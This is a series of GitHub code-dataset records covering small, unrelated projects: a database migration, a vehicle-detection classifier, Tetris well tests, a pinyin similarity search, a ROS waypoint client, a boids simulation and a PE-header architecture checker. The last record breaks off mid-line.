11:45:06.083887\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '06e0eb2e4d40'\ndown_revision = 'f837e6fef6fe'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('medicine_orders', sa.Column('form', sa.String(length=100), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('medicine_orders', 'form')\n # ### end Alembic commands ###\n","repo_name":"Arif-Badhon/echamber_backend","sub_path":"src/alembic/versions/06e0eb2e4d40_medicine_order_form_added.py","file_name":"06e0eb2e4d40_medicine_order_form_added.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2329128744","text":"import matplotlib.image as mpimg\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport cv2\nimport os\nimport glob\nfrom skimage.feature import hog\nfrom sklearn.model_selection import train_test_split\nimport time\nfrom sklearn.svm import LinearSVC\nfrom sklearn.preprocessing import StandardScaler\nimport pickle\n\n\n# A function that takes in an image, and the resolution\n# and return a feature vector.\ndef bin_spatial(img, size=(32, 32)):\n color1 = cv2.resize(img[:,:,0], size).ravel()\n color2 = cv2.resize(img[:,:,1], size).ravel()\n color3 = cv2.resize(img[:,:,2], size).ravel()\n return np.hstack((color1, color2, color3))\n\n\n# A function to compute color histogram features\ndef color_hist(img, nbins=32, bin_range=(0, 256)):\n # Compute the histogram of R, G, B, channels separately\n rhist = np.histogram(img[:, :, 0], bins=nbins, range=bin_range)\n ghist = np.histogram(img[:, :, 1], bins=nbins, range=bin_range)\n bhist = np.histogram(img[:, :, 2], bins=nbins, range=bin_range)\n\n # Concatenate the histograms into a single feature vector\n hist_features = np.concatenate((rhist[0], ghist[0], bhist[0]))\n\n # Generating bin centers\n # bin_edges = rhist[1]\n # bincen = (bin_edges[1:] + bin_edges[0:len(bin_edges)-1])/2\n\n # fig = plt.figure(figsize=(12,3))\n # plt.subplot(131)\n # plt.bar(bincen, rhist[0])\n # plt.xlim(0, 256)\n # plt.title('R Histogram')\n #\n # plt.subplot(132)\n # plt.bar(bincen, ghist[0])\n # plt.xlim(0, 256)\n # plt.title('G Histogram')\n #\n # plt.subplot(133)\n # plt.bar(bincen, bhist[0])\n # plt.xlim(0, 256)\n # plt.title('B Histogram')\n #\n # fig.tight_layout()\n # plt.show()\n\n return hist_features\n\n\ndef get_hog_features(img, orient, pix_per_cell, cell_per_block, vis=False, feature_vec=True):\n if vis == True:\n features, hog_image = hog(img, orientations=orient, pixels_per_cell=(pix_per_cell, pix_per_cell),\n cells_per_block=(cell_per_block, cell_per_block), transform_sqrt=True,\n visualise=vis, feature_vector=feature_vec)\n return features, hog_image\n else:\n features = hog(img, orientations=orient, pixels_per_cell=(pix_per_cell, pix_per_cell),\n cells_per_block=(cell_per_block, cell_per_block), transform_sqrt=True,\n visualise=vis, feature_vector=feature_vec)\n return features\n\n\n# A function to extract features from a list of images\ndef extract_features(imgs, color_space='RGB', spatial_size=(32, 32), hist_bins=32,\n orient=9, pix_per_cell=8, cell_per_block=2, hog_channel=0,\n spatial_feat=True, hist_feat=True, hog_feat=True):\n # Create a list to append feature vectors to\n features = []\n\n # Iterate through the list of images\n for file in imgs:\n file_features = []\n\n image = mpimg.imread(file)\n\n plt.imshow(image)\n plt.title('Original')\n plt.show()\n\n # Apply color conversion if other than 'RGB'\n if color_space != 'RGB':\n if color_space == 'HSV':\n feature_image = cv2.cvtColor(image, cv2.COLOR_RGB2HSV)\n elif color_space == 'LUV':\n feature_image = cv2.cvtColor(image, cv2.COLOR_RGB2LUV)\n elif color_space == 'HLS':\n feature_image = cv2.cvtColor(image, cv2.COLOR_RGB2HLS)\n elif color_space == 'YUV':\n feature_image = cv2.cvtColor(image, cv2.COLOR_RGB2YUV)\n elif color_space == 'YCrCb':\n feature_image = cv2.cvtColor(image, cv2.COLOR_RGB2YCrCb)\n else:\n feature_image = np.copy(image)\n\n\n if spatial_feat == True:\n spatial_features = bin_spatial(feature_image, size=spatial_size)\n # plt.plot(spatial_features)\n # plt.title('Spatially Binned Features')\n # plt.show()\n file_features.append(spatial_features)\n\n if hist_feat == True:\n # Apply color_hist()\n hist_features = color_hist(feature_image, nbins=hist_bins)\n file_features.append(hist_features)\n\n if hog_feat == True:\n # Call get_hog_features() with vis=False, feature_vec=True\n if hog_channel == 'ALL':\n hog_features = []\n for channel in range(feature_image.shape[2]):\n # features, hog_image = get_hog_features(feature_image[:, :, channel],\n # orient, pix_per_cell, cell_per_block,\n # vis=True, feature_vec=True)\n # fig = plt.figure(figsize=(12, 4))\n #\n # plt.subplot(131)\n # plt.imshow(image)\n # plt.title('Car')\n #\n # plt.subplot(132)\n # plt.imshow(feature_image)\n # plt.title('Color_Conversion')\n #\n # plt.subplot(133)\n # plt.imshow(hog_image)\n # plt.title('Hog')\n #\n # fig.tight_layout()\n # plt.show()\n\n hog_features.append(get_hog_features(feature_image[:, :, channel],\n orient, pix_per_cell, cell_per_block,\n vis=False, feature_vec=True))\n hog_features = np.ravel(hog_features)\n else:\n hog_features = get_hog_features(feature_image[:, :, hog_channel],\n orient, pix_per_cell, cell_per_block,\n vis=False, feature_vec=True)\n # Append the new feature vector to the features list\n file_features.append(hog_features)\n\n features.append(np.concatenate(file_features))\n\n # fig = plt.figure()\n # plt.subplot(121)\n # plt.imshow(image)\n # plt.title('Car')\n #\n # plt.subplot(122)\n # plt.imshow(feature_image)\n # plt.title('Car')\n #\n # plt.show()\n\n return features\n\n\ncars=[]\nimages_path = 'training_images/vehicles/**/*.png'\nfor image in glob.iglob(images_path, recursive=True):\n cars.append(image)\n\nnotcars=[]\nimages_path = 'training_images/non-vehicles/**/*.png'\nfor image in glob.iglob(images_path, recursive=True):\n notcars.append(image)\n\n\ncolor_space = 'YCrCb'\norient = 9 # HOG orientations\npix_per_cell = 8 # HOG pixels per cell\ncell_per_block = 2 # HOG cells per block\nhog_channel = 'ALL'\nspatial_size = (32, 32) # Spatial binning dimensions\nhist_bins = 32 # Number of histogram bins\nspatial_feat = True # Spatial features on or off\nhist_feat = True # Histogram features on or off\nhog_feat = True # HOG features on or off\n\ncar_features = extract_features(cars, color_space=color_space,\n spatial_size=spatial_size, hist_bins=hist_bins,\n orient=orient, pix_per_cell=pix_per_cell,\n cell_per_block=cell_per_block,\n hog_channel=hog_channel, spatial_feat=spatial_feat,\n hist_feat=hist_feat, hog_feat=hog_feat)\n\nnotcar_features = extract_features(notcars, color_space=color_space,\n spatial_size=spatial_size, hist_bins=hist_bins,\n orient=orient, pix_per_cell=pix_per_cell,\n cell_per_block=cell_per_block,\n hog_channel=hog_channel, spatial_feat=spatial_feat,\n hist_feat=hist_feat, hog_feat=hog_feat)\n\n\nX = np.vstack((car_features, notcar_features)).astype(np.float64)\nX_scaler = StandardScaler().fit(X) # Normalization\nscaled_X = X_scaler.transform(X)\n\n# Define the labels vector\ny = np.hstack((np.ones(len(car_features)), np.zeros(len(notcar_features))))\n\n# Split up data into randomized training and test sets\nrand_state = np.random.randint(0, 100)\nX_train, X_test, y_train, y_test = train_test_split(\n scaled_X, y, test_size=0.2, random_state=rand_state)\n\n\nprint('Using:',orient,'orientations',pix_per_cell,\n 'pixels per cell and', cell_per_block,'cells per block')\nprint('Training Feature vector length:', len(X_train[0]))\nprint('Training Labels vector length:', len(y_train))\nprint('Testing Feature vector length:', len(X_test[0]))\nprint('Testing Labels vector length:', len(y_test))\n\n\n# Use a linear SVC\nsvc = LinearSVC()\n\n# Check the training time for the SVC\nt=time.time()\n\n# Start the training\nsvc.fit(X_train, y_train)\n\nt2 = time.time()\nprint(round(t2-t, 2), 'Seconds to train SVC...')\n\n# Check the score of the SVC\nprint('Test Accuracy of SVC = ', round(svc.score(X_test, y_test), 4))\n\n\nmodel = {'svc': svc, 'scaler': X_scaler, 'orient': orient,\n 'pix_per_cell': pix_per_cell, 'cell_per_block': cell_per_block,\n 'spatial_size': spatial_size, 'hist_bins': hist_bins}\n\nwith open('svc_pickle.p', 'wb') as handle:\n pickle.dump(model, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n\n# Display a car and not-car image\n# car_ind = np.random.randint(0, len(cars))\n# car_img = mpimg.imread(cars[car_ind])\n#\n# notcar_ind = np.random.randint(0, len(notcars))\n# notcar_img = mpimg.imread(notcars[notcar_ind])\n#\n# fig = plt.figure()\n# plt.subplot(121)\n# plt.imshow(car_img)\n# plt.title('Car')\n# plt.subplot(122)\n# plt.imshow(notcar_img)\n# plt.title('Not Car')\n# plt.show()\n\n\n","repo_name":"tablet6/CarND-Vehicle-Detection","sub_path":"training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":9515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7937746464","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\n\ndef inicio(request):\n contexto = {}\n http_response = render(\n request=request,\n template_name='app_inostri/index.html',\n context=contexto,\n )\n return http_response","repo_name":"stillpoch84/Trabajo_Final_Poch","sub_path":"Inostri/sistema_inostri/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"37388528201","text":"\"\"\"\r\nFile name: test.py\r\nAuthor: Matthew Allen\r\nDate: 7/12/20\r\n\r\nDescription:\r\n This is basically my playground. I use this file to test all the new Environment code that I write. Please excuse the mess.\r\n\"\"\"\r\n\r\nfrom Environment import CombatSimulator\r\nfrom Environment.Game import Player, Enemy\r\nfrom Environment.Abilities import Ability\r\nimport json\r\nimport numpy as np\r\nimport os\r\nimport time\r\n\r\ndef load_ability(base_path, effect_name):\r\n full_path = os.path.join(base_path, effect_name)\r\n if os.path.exists(full_path):\r\n ability_json = json.load(open(full_path,'r'))\r\n return ability_json\r\n\r\n print(\"UNABLE TO LOAD ABILITY {} FROM {}\".format(effect_name, base_path))\r\n return None\r\n\r\ndef load_abilities():\r\n base_path = os.path.join(\"resources\",\"json_data\",\"abilities\",\"ranged\")\r\n\r\n ability_names = [\"CorruptionShot.json\", \"NeedleStrike.json\", \"BindingShot.json\", \"SnapShot.json\", \"RapidFire.json\",\r\n \"DeathsSwiftness.json\", \"PiercingShot.json\"]\r\n\r\n #ability_names = [\"CorruptionShot.json\", \"BindingShot.json\", \"SnapShot.json\", \"PiercingShot.json\", \"RapidFire.json\"]\r\n\r\n #ability_names = [\"DeathsSwiftness.json\"]\r\n\r\n abilities = []\r\n for name in ability_names:\r\n ability = load_ability(base_path, name)\r\n abilities.append(ability)\r\n return abilities\r\n\r\ndef run_test():\r\n target = Enemy()\r\n player = Player(3)\r\n player.load_all_abilities(\"ranged\")\r\n #player.load_abilities_from_json(load_abilities())\r\n\r\n simulator = CombatSimulator(player, target)\r\n # dmg = 0\r\n # num_iters = 100\r\n # num_ticks = 1000\r\n # for i in range(num_iters):\r\n # dmg += simulator.simulate(num_ticks)\r\n # print(dmg / (num_ticks*num_iters))\r\n iters = 100\r\n iter_length = 1000//2\r\n\r\n attempts = []\r\n for i in range(iters):\r\n dmg = simulator.simulate(iter_length)\r\n attempts.append(dmg / iter_length)\r\n\r\n print(np.mean(attempts), np.std(attempts), np.min(attempts), np.max(attempts))\r\n\r\n\r\n # for i in range(250):\r\n # print(\"\\n{stars}TICK {tick}{stars}\".format(stars=\"*\"*20, tick=i))\r\n # simulator.tick()\r\n","repo_name":"AechPro/RS3RotationOptimizer","sub_path":"Environment/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15398270643","text":"import pytest\r\nfrom src.well import Well\r\n\r\n\r\nclass TestWell:\r\n\r\n @pytest.fixture\r\n def field_filled_one(self) -> Well:\r\n field = Well()\r\n for x in range(Well.WIDTH):\r\n field.cellses[0][x].landed = True\r\n field.cellses[1][2].landed = True\r\n yield field\r\n\r\n @pytest.fixture\r\n def field_filled_two(self):\r\n field = Well()\r\n for x in range(Well.WIDTH):\r\n field.cellses[0][x].landed = True\r\n field.cellses[1][x].landed = True\r\n field.cellses[2][2].landed = True\r\n return field\r\n\r\n @pytest.fixture\r\n def field_heights(self):\r\n \"\"\"\r\n ..#.\r\n ..#.\r\n ..##\r\n ..#.\r\n \"\"\"\r\n field = Well()\r\n for y in range(4):\r\n field.cellses[y][2].landed = True\r\n field.cellses[1][3].landed = True\r\n return field\r\n\r\n @pytest.fixture\r\n def field_michael(self):\r\n board_blueprint = [\r\n \" \",\r\n \" \",\r\n \" \",\r\n \" \",\r\n \" \",\r\n \" \",\r\n \" \",\r\n \" ## \",\r\n \" ## #\",\r\n \" ## #\",\r\n \" ### #\",\r\n \"# ##### ##\",\r\n \"# ### # ##\",\r\n \"# ########\",\r\n \"# ####### \",\r\n \"#### #####\",\r\n \" #### ##\",\r\n \" #########\",\r\n \" #########\",\r\n \" #########\",\r\n ]\r\n field = Well()\r\n board_blueprint.reverse()\r\n for y in range(len(board_blueprint)):\r\n for x in range(Well.WIDTH):\r\n field.at(x, y).landed = True if board_blueprint[y][x] == \"#\" else False\r\n return field\r\n\r\n @pytest.mark.parametrize(\r\n \"y, x, expected\",\r\n [\r\n (0, 3, False),\r\n (0, 2, True),\r\n (1, 2, False)\r\n ]\r\n )\r\n def test_delete_a_line(self, field_filled_one: Well, y, x, expected):\r\n field_filled_one.delete_lines()\r\n assert field_filled_one.cellses[y][x].landed is expected\r\n\r\n @pytest.mark.parametrize(\r\n \"y, x, expected\",\r\n [\r\n (0, 3, False),\r\n (0, 2, True),\r\n (1, 2, False),\r\n (2, 2, False)\r\n ]\r\n )\r\n def test_delete_lines(self, field_filled_two: Well, y, x, expected):\r\n field_filled_two.delete_lines()\r\n assert field_filled_two.cellses[y][x].landed is expected\r\n\r\n @pytest.mark.parametrize(\r\n \"x, expected\",\r\n [\r\n (0, 0),\r\n (1, 0),\r\n (2, 4),\r\n (3, 2),\r\n (4, 0)\r\n ]\r\n )\r\n def test_get_column_heights(self, field_heights: Well, x, expected):\r\n lis = field_heights.get_column_heights()\r\n assert lis[x] == expected\r\n\r\n @pytest.mark.parametrize(\r\n \"x, expected\",\r\n [\r\n (0, 0),\r\n (1, 4),\r\n (2, 2),\r\n (3, 2),\r\n ]\r\n )\r\n def test_get_heights_diff(self, field_heights: Well, x, expected):\r\n lis = field_heights.get_heights_diff()\r\n assert lis[x] == expected\r\n\r\n @pytest.mark.parametrize(\r\n \"x, expected\",\r\n [\r\n (0, 0),\r\n (1, 3),\r\n (2, 2),\r\n (3, 2),\r\n ]\r\n )\r\n def test_get_heights_diff_limit(self, field_heights: Well, x, expected):\r\n lis = field_heights.get_heights_diff_limit()\r\n assert lis[x] == expected\r\n\r\n def test_get_holes(self, field_heights: Well):\r\n assert field_heights.get_holes() == 1\r\n\r\n def test_get_holes2(self, field_michael: Well):\r\n assert field_michael.get_holes() == 10\r\n\r\n def test_get_row_transitions(self, field_michael: Well):\r\n assert field_michael.get_row_transitions() == 44\r\n\r\n def test_get_column_transitions(self, field_michael: Well):\r\n assert field_michael.get_column_transitions() == 14\r\n\r\n def test_get_cumulative_wells(self, field_michael: Well):\r\n assert field_michael.get_cumulative_wells() == 6\r\n\r\n def test_get_bumpiness(self, field_michael: Well):\r\n assert field_michael.get_bumpiness() == 23\r\n\r\n def test_get_aggregate_height(self, field_michael: Well):\r\n assert sum(field_michael.get_column_heights()) == 96\r\n\r\n def test_rows_cleared(self, field_michael: Well):\r\n assert field_michael.delete_lines() == 0\r\n","repo_name":"hayayanai/py-hatetris","sub_path":"tests/test_well.py","file_name":"test_well.py","file_ext":"py","file_size_in_byte":4430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21981806062","text":"from pypinyin import lazy_pinyin\nimport re\nimport numpy as np\nfrom sklearn.metrics.pairwise import cosine_similarity\n\n\ndef letter2gram(text):\n if len(text) == 0:\n return []\n text = text.lower()\n text = re.sub(r'\\W+', '_', text)\n text = '_' + text + '_'\n result = re.findall(r'(?=([a-z_]{2}))', text)\n return result\n\n\ndef get_letter_bigram_map():\n alphabet = 'abcdefghijklmnopqrstuvwxyz_'\n alphabet_len = len(alphabet)\n bigram_map = {}\n for i, li in enumerate(alphabet):\n for j, lj in enumerate(alphabet):\n bigram_map[li + lj] = i * alphabet_len + j\n return bigram_map\n\n\nletter_bigram_map = get_letter_bigram_map()\nletter_bigram_map_len = len(letter_bigram_map)\n\n\ndef encode_letter_bigram(text):\n text = ' '.join(lazy_pinyin(text))\n data = letter2gram(text)\n encode = np.zeros(letter_bigram_map_len, dtype=np.float32)\n for item in data:\n encode[letter_bigram_map[item]] += 1\n return encode\n\n\nquery = encode_letter_bigram('东平')\ntarget = encode_letter_bigram('屏东')\n\nprint(cosine_similarity(query.reshape(1, -1), target.reshape(1, -1)))\n\ndistricts = ['福州', '广州', '北京', '上海', '深圳', '兰州', '长沙', '武汉', '沈阳', '南京', '洛阳', '岳阳', '天津',\n '西安', '昆明', '拉萨', '南昌', '浏阳', '南宁', '南阳', '南海', '阜阳', '富阳', '惠州', '徽州', '东平',\n '屏东', '东海', '冻品']\nvectors = []\nfor i in districts:\n vectors.append(encode_letter_bigram(i))\n\nimport faiss\n\nindex = faiss.IndexFlatL2(letter_bigram_map_len)\nprint(index.is_trained)\nindex.add(np.array(vectors))\nprint(index.ntotal)\n\nprint('query:', '东平')\nD, I = index.search(np.array([query]), 3)\nfor i in I[0]:\n print(districts[i])\n\n# query: 东平\n# 东平\n# 屏东\n# 冻品\n\n\nprint('query:', '福样')\nquery = encode_letter_bigram('福样')\nD, I = index.search(np.array([query]), 3)\nfor i in I[0]:\n print(districts[i])\n# query: 福样\n# 阜阳\n# 富阳\n# 浏阳\n\n","repo_name":"shushanxingzhe/python_learning","sub_path":"nlptry/near_chinese_search.py","file_name":"near_chinese_search.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"32272629708","text":"\nimport requests as req\ns_url = \"http://127.0.0.1:8000/restapi/usersets/\"\nd_heads = {'Content-Type': 'application/json'}\nd_json = {\"name\": \"test2name\", \"email\": \"test2@mail.com\", \"password\": \"test_psw\"}\nlast_id = 0\n\ndef get_data(id_value):\n response = req.get(s_url)\n response_body = response.json()\n for item in response_body:\n if item[\"id\"] == id_value:\n return item[\"name\"]\n \ndef test_UsersList():\n response = req.get(s_url)\n assert response.status_code == 200\n response_body = response.json()\n assert len(response_body) > 0\n\ndef test_post():\n response = req.post(s_url, headers=d_heads, json=d_json)\n assert response.status_code == 200\n response_data = response.json()['data']\n new_id = response_data['id']\n new_name = get_data(new_id)\n assert new_name == response_data['name']\n return new_id\n\ndef test_update():\n last_id = test_post()\n assert last_id > 0;\n response = req.get(s_url+str(last_id)+'/')\n response_data = response.json()['data']\n last_name = response_data['name']\n response = req.patch(s_url+str(last_id)+'/', json={'name':last_name+' updated'})\n assert response.status_code == 200\n response_data = response.json()['data']\n updated_name = response_data['name']\n assert updated_name == last_name+' updated'\n \n\"\"\"\nprev.:\ndef test_User():\n response = req.post(\"http://127.0.0.1:8000/restapi/usersets/\", \\\n headers={'Content-Type': 'application/json'}, \\\njson={\"name\": \"test2name\", \"email\": \"test2@mail.com\", \"password\": \"test_psw\"})\n assert response.status_code == 200\n\ndef test_id():\n response = req.get(\"http://127.0.0.1:8000/restapi/usersets/1/\")\n assert response.status_code == 200\n response_body = response.json()\n print(response_body[\"data\"])\n assert response_body[\"data\"][\"id\"] == 1\n\"\"\"\n","repo_name":"leonidvlad21/Users_REST_api","sub_path":"restapi/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16597978185","text":"#!/usr/bin/env python\n\"\"\"\n이 스크립트는 Windows용 exe 파일의 PE 헤더를 읽어서 대상 아키텍처를 확인한다.\n\n참고 문서: https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#machine-types\n\"\"\"\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"file\", metavar=\"EXE_FILE\", type=str, help=\"대상 exe 파일\")\nargs = parser.parse_args()\n\nwith open(args.file, \"rb\") as target_file:\n # 헤더 위치를 찾는다\n target_file.seek(0x3C)\n pe_header_pos = int.from_bytes(target_file.read(4), \"little\", signed=False)\n\n # PE 헤더로 이동한다.\n target_file.seek(pe_header_pos)\n # 4바이트를 버린다.\n target_file.read(4)\n\n # 머신 타입 확인\n machine_type_signature = target_file.read(2)\n if machine_type_signature == b\"\\x64\\x86\":\n print(\"AMD64\")\n elif machine_type_signature == b\"\\x64\\xaa\":\n print(\"ARM64\")\n elif machine_type_signature == b\"\\x4c\\x01\":\n print(\"i386\")\n else:\n print(\"Unknown\")\n","repo_name":"strobi-bunni/MyPythonPractice","sub_path":"check_exe_file.py","file_name":"check_exe_file.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35841245579","text":"#! /usr/bin/env python\n\nimport rospy\nimport actionlib\nfrom samana_msgs.msg import FollowWpAction, FollowWpGoal\nfrom geometry_msgs.msg import PoseArray, Pose\nimport csv\nimport rospkg\nfrom time import sleep\n\ndef done_cb(state, result):\n rospy.loginfo(\"Action server is done. State: {}, result: {}\".format(str(state), str(result)))\n\ndef active_cb():\n rospy.loginfo(\"Action server is processing the goal\")\n\n\ndef feedback_cb(feedback):\n rospy.loginfo(\"Feedback: {}\".format(str(feedback)))\n\ndef read_waypoints_from_file():\n waypoints = []\n file_path = rospkg.RosPack().get_path(\"samana\") + \"/config/waypoints_to_goal.csv\"\n\n with open(file_path, \"r\") as file:\n reader = csv.reader(file, delimiter=\",\")\n waypoints = PoseArray()\n waypoints.header.frame_id = rospy.get_param(\"follow_waypoints/goal_frame_id\", \"utm\")\n for row in reader:\n if not row:\n continue\n \n pose_tmp = Pose()\n pose_tmp.position.x = float(row[0])\n pose_tmp.position.y = float(row[1])\n pose_tmp.position.z = float(row[2])\n pose_tmp.orientation.x = float(row[3])\n pose_tmp.orientation.y = float(row[4])\n pose_tmp.orientation.z = float(row[5])\n pose_tmp.orientation.w = float(row[6])\n waypoints.poses.append(pose_tmp)\n\n return waypoints\n\n\nif __name__ == \"__main__\":\n server_name = \"follow_waypoints\"\n rospy.init_node(\"follow_waypoints_client\")\n goal_states_text = (\"PENDING\", \"ACTIVE\", \"PREEMPTED\", \"SUCCEEDED\", \"ABORTED\", \"REJECTED\", \"PREEMPTING\", \"RECALLING\", \"RECALLED\", \"LOST\")\n client = actionlib.SimpleActionClient(server_name, FollowWpAction)\n\n rospy.loginfo(\"Wait for {} server...\".format(server_name))\n client.wait_for_server()\n\n goal = FollowWpGoal()\n goal.waypoints = read_waypoints_from_file()\n goal.dist_tolerance = 4.0\n rospy.loginfo(\"Sending goal to follow_waypoints server. Count: {}\".format(len(goal.waypoints.poses)))\n client.send_goal(goal, done_cb=done_cb, active_cb=active_cb, feedback_cb=feedback_cb)\n\n \n\n # client.wait_for_result()\n state = client.get_state()\n while state == actionlib.GoalStatus.ACTIVE or state == actionlib.GoalStatus.PENDING:\n # rospy.loginfo(\"State: {}\".format(state))\n state = client.get_state()\n sleep(0.5)\n sleep(2)\n client.cancel_goal()\n\n result = client.get_result()\n rospy.loginfo(\"Result: {}, State: {}\".format(result, goal_states_text[state]))\n \n rospy.loginfo(\"follow_waypoints finished state: {}\".format(goal_states_text[client.get_state()]))\n","repo_name":"Combinacijus/Samana-Autonomous-Robot","sub_path":"ROS/samana_ws/src/samana/src/unused/action_client_example.py","file_name":"action_client_example.py","file_ext":"py","file_size_in_byte":2715,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"2833928934","text":"# My Boid \n# Author: Qianru Zhou\n# Reference from PyNBoids - a Boids simulation - github.com/Nikorasu/PyNBoids\n# @ nikorasu85@gmail.com\n\nimport pygame\nfrom pygame.sprite import Sprite\nfrom sys import exit\nimport random\nfrom random import randint\nimport numpy as np\n\n# Bird(birdNum, birdData, scene)\nclass Bird(Sprite):\n def __init__(self, birdOrder, birdData, scene):\n Sprite.__init__(self)\n self.image = pygame.image.load('plane.png')\n self.image = pygame.transform.scale(self.image, (30,30))\n self.size_x = 10\n self.size_y = 6\n self.birdSize = 20\n self.scene = scene\n self.birdOrder = birdOrder\n self.birdData = birdData\n \n # 每只鸟初始角度和位置均随机\n self.ang = random.randint(0, 360)\n self.maxW, self.maxH = self.scene.get_size()\n self.rect = self.image.get_rect(center=(randint(50, self.maxW - 50), randint(50, self.maxH - 50)))\n self.pos = pygame.Vector2(self.rect.center)\n \n # update(frames, speed)\n def update(self, frames, speed):\n turnDir = xDir = yDir = 0\n turnRate = 120*frames\n # Make list of neighbor birds, sorted by distance\n otherBirds = np.delete(self.birdData, self.birdOrder, 0)\n distances = (self.pos.x - otherBirds[:,0])**2 + (self.pos.y - otherBirds[:,1])**2\n # 数字越大,黏性越强,因为考虑的邻居越多\n closestBirdsId = np.argsort(distances)[:9]\n closestBirds = otherBirds[closestBirdsId]\n closestBirds[:,3] = np.sqrt(distances[closestBirdsId])\n closestBirds = closestBirds[closestBirds[:,3] < self.birdSize*12 ]\n \n if closestBirds.size > 1:\n y = np.sum(np.sin(np.deg2rad(closestBirds[:,2])))\n x = np.sum(np.cos(np.deg2rad(closestBirds[:,2])))\n \n # 计算邻居鸟的平均位置和方向\n angle_average = np.rad2deg(np.arctan2(y,x))\n pos_average = (np.mean(closestBirds[:,0]), np.mean(closestBirds[:,1]))\n \n # 如果与最近的邻居太近\n if closestBirds[0,3] < self.birdSize:\n pos_average = (closestBirds[0,0], closestBirds[0,1])\n \n # 算出目标与现有的方向、距离差别\n pos_diff = pygame.Vector2(pos_average) - self.pos\n distance_diff, angle_diff = pygame.math.Vector2.as_polar(pos_diff)\n \n # 如果与邻居距离差足够小,则与邻居方向一致\n if distance_diff < self.birdSize*4:\n angle_diff = angle_average\n \n # smooth steering\n angle_to_steer = (angle_diff - self.ang) + 180\n if abs(angle_diff - self.ang) > 1.2:\n turnDir = (angle_to_steer/360 - (angle_to_steer // 360)) * 360 - 180\n \n # 如果与最近的邻居太近,飞离\n if closestBirds[0,3] < self.birdSize and distance_diff < self.birdSize:\n turnDir = -turnDir\n \n # 触碰到边缘返回机制\n margin = 42\n if min(self.pos.x, self.pos.y, self.maxW-self.pos.x, self.maxH - self.pos.y) < margin:\n if self.pos.x < margin:\n angle_diff = 0\n elif self.pos.x > self.maxW - margin:\n angle_diff = 180\n if self.pos.y < margin:\n angle_diff = 90\n elif self.pos.y > self.maxH - margin:\n angle_diff = 270\n # 如果处于边缘地带,加大转速\n turnRate = 120 * frames\n angle_to_steer = (angle_diff - self.ang) + 180\n #self.image = pygame.transform.rotate(self.image, angle_to_steer)\n turnDir = (angle_to_steer/360 - (angle_to_steer // 360)) * 360 - 180\n distance_edge = min(self.pos.x, self.pos.y, self.maxW - self.pos.x, self.maxH - self.pos.y)\n turnRate = turnRate + (1 - distance_edge/margin)*(20 - turnRate)\n \n if turnDir != 0:\n self.ang += turnRate * abs(turnDir) / turnDir\n self.ang %= 360\n # 转图像,匹配飞行方向\n # self.image = pygame.transform.rotate(self.image, -self.ang)\n # 重新校准中心点\n self.rect = self.image.get_rect(center=self.rect.center)\n self.dir = pygame.Vector2(1,0).rotate(self.ang).normalize()\n self.pos += self.dir * frames * (speed + (7 - closestBirds.size)*2)\n # 更新鸟的位置\n self.rect.center = self.pos\n self.birdData[self.birdOrder, :3] = [self.pos[0], self.pos[1], self.ang]\n\n\n#主场景\nclass MainScene(object):\n def __init__(self, birdNum, frames, speed):\n self.size = (1000, 600)\n self.scene = pygame.display.set_mode([self.size[0], self.size[1]])\n self.pause = False\n self.frames = frames\n self.speed = speed\n self.bgcolor = (37,61,36)\n \n #创建鸟群 \n self.birdSwarm = pygame.sprite.Group()\n self.birdData = np.zeros((birdNum, 4), dtype=float)\n for n in range(birdNum):\n self.birdSwarm.add(Bird(n, self.birdData, self.scene))\n \n # 主循环\n def run_scene(self):\n #放音乐\n pygame.mixer.init()\n music_bg = pygame.mixer.Sound('Jibbs-ChainHangLow.mp3')\n music_bg.play(loops=-1) #播放音乐(loops=-1循环播放)\n \n clock = pygame.time.Clock()\n \n now = 0\n while True:\n # 处理事件\n for event in pygame.event.get():\n if event.type == pygame.QUIT or event.type == pygame.KEYDOWN or event.type == pygame.K_ESCAPE:\n exit()\n \n framePerSecond = clock.tick(60) / 1000\n self.scene.fill(self.bgcolor)\n self.birdSwarm.update(framePerSecond, self.speed)\n self.birdSwarm.draw(self.scene)\n \n pygame.display.update()\n \n\nif __name__ == \"__main__\":\n mainScene = MainScene(30, 60, 160)\n mainScene.run_scene()\n","repo_name":"QianruZhou333/Boid","sub_path":"MyBoid.py","file_name":"MyBoid.py","file_ext":"py","file_size_in_byte":6056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19078763612","text":"import re\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pygeoip\n\ndef ipLocator(ip):\n #location of downloaded GeoLiteCity database\n #download from here: https://dev.maxmind.com/geoip/legacy/geolite/#Downloads\n GeoIPDatabase = 'GeoLiteCity.dat'\n ipData = 